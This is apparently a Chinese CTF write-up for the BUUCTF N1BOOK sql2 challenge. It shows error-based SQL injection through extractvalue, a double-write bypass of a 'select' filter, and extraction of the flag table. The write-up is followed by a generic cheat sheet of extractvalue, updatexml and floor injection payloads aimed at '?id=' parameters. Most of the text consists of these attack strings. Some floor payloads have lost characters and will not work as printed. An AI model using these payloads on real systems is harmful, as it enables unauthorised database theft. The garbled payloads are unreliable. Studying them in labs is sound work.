CTF刷题记录Buuctf-N1BOOK-sql2


N1BOOK-SQL2


一、解题思路

CTF刷题记录Buuctf-N1BOOK-sql2

直接访问,会出现403,难受,再看一下提示:请访问/login.php /user.php

CTF刷题记录Buuctf-N1BOOK-sql2

http://7496c5f0-0623-4702-951f-b085e8f8cb97.node3.buuoj.cn/user.php

CTF刷题记录Buuctf-N1BOOK-sql2

http://7496c5f0-0623-4702-951f-b085e8f8cb97.node3.buuoj.cn/login.php

CTF刷题记录Buuctf-N1BOOK-sql2

1.养成好习惯,Ctrl + U 查看页面源代码

CTF刷题记录Buuctf-N1BOOK-sql2

2.看到提示,那直接按照提示,走一波

CTF刷题记录Buuctf-N1BOOK-sql2

3.使用#,将其注释

CTF刷题记录Buuctf-N1BOOK-sql2
4.查看有几列,当输入三列的时候,不报错

CTF刷题记录Buuctf-N1BOOK-sql2
当测试到4列的时候报错,说明有三列

CTF刷题记录Buuctf-N1BOOK-sql2

5.我们使用floor()报错注入进行尝试。

CTF刷题记录Buuctf-N1BOOK-sql2
6.发现不行,有点难过,floor函数不行,尝试extractvalue()进行尝试,
发现了MySQL的版本为:5.5.64-MariaDB-1ubunt
admin’ or extractvalue(1,concat(user(),0x7e,version())) #

CTF刷题记录Buuctf-N1BOOK-sql2

7.接下来,直接可以爆库
admin’ or extractvalue(1,concat(user(),0x7e,database())) #

CTF刷题记录Buuctf-N1BOOK-sql2

库名为:note
8.接下来,直接爆表,试了半天,看writeup才发现,select被过滤了,
此处有两种方法绕过
方法一:双写绕过;
方法二:大小写绕过。

admin’ and extractvalue(1,concat(0x7e,(seselectlect table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))#

CTF刷题记录Buuctf-N1BOOK-sql2

name=admin’ and extractvalue(1,concat(0x7e,(seselectlect table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))#&pass=123

CTF刷题记录Buuctf-N1BOOK-sql2
通过上述的方法爆破出来两个表fl4g,users
9.因为我们所要查找的是flag,所以就使用fl4g这张表
爆字段的时间到了

name=admin’ and extractvalue(1,concat(0x7e,(selselectect column_name from information_schema.columns where table_schema='note’and table_name='fl4g’limit 0,1),0x7e)) # &pass=123

CTF刷题记录Buuctf-N1BOOK-sql2

爆破出来的字段名为:flag
接下来爆数据
name=adminadmin’ and extractvalue(1,concat(0x7e,(selselectect flag from fl4g limit 0,1),0x7e)) #&pass=123

CTF刷题记录Buuctf-N1BOOK-sql2

二、知识点
报错注入的三种方法:
【1】extractvalue报错注入:0x7e就是使用~来区分数据
(1)不能使用union select
(2)concat()函数
a.功能:将多个字符串连接成一个字符串;
b.语法:count(str1,str2,…)
c.返回的结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为:null

Extractvalue报错注入语句格式:
?id=2 and extractvalue(null,concat(0x7e,(sql语句),0x7e))

1.爆破数据库
?id=2 and extractvalue(null,concat(0x7e,(database()),0x7e))

2.爆表名limit 0,1是第一个数据 limit 1,1是第二个数据
?id=2 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘表名’ limit 0,1),0x7e))
得到第一个表名****
?id=2 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘表名’ limit 1,1),0x7e))
得到第二个表名****

3.爆字段名
?id=2 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘库名’ and table_name=‘表名’ limit 0,1),0x7e))
table_schema:表所属数据库名称
Table_name:表名称
4.爆数据
?id=2 and extractvalue(null,concat(0x7e,(select 字段名 from 表名 limit 0,1),0x7e))
如果只显示32位结果,我们需要借助mid函数来进行字符串截取从而显示32位以后的数据
?id=2 and extractvalue(null,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e))
【2】xmlupdate与extractvalue同理
1.爆库
id=2 and (updatexml(1,concat(0x7e,(database()),0x7e),1))
2.爆表
?id=2+and+(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘库名’ limit 1,1),0x7e),1))
3.爆字段名
?id=2+and+(updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘库名’ and table_name=‘表名’ limit 0,1),0x7e),1))
4.爆数据
?id=2+and+(updatexml(1,concat(0x7e,(select group_concat(字段名) from 表名),0x7e),1))
如果只显示32位结果,我们需要借助mid函数来进行字符串截取从而显示32位以后的数据
?id=2+and+(updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1))
【3】floor报错注入
1.爆库
+AND(SELECT+1+FROM+(SELECT+COUNT(),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
2.爆表
?id=1+AND(SELECT+1+FROM+(SELECT+COUNT(),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=0x73716c69+LIMIT+0,1),FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
3.爆字段名
?id=1+AND+(SELECT+1+FROM+(SELECT+COUNT(),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x666c6167+AND+table_schema=0x73716c69+LIMIT+0,1),FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
4.爆数据
?id=1+AND+(SELECT+1+FROM+(SELECT+COUNT(),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(flag)+AS+CHAR),0x7e))+FROM+sqli.flag+LIMIT+0,1),FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)

参考链接:https://blog.csdn.net/weixin_45571987/article/details/110599426
参考链接:http://t.zoukankan.com/threesoil-p-12458580.html

版权声明:玥玥 发表于 2021-06-11 1:43:56。
转载请注明:CTF刷题记录Buuctf-N1BOOK-sql2 | 女黑客导航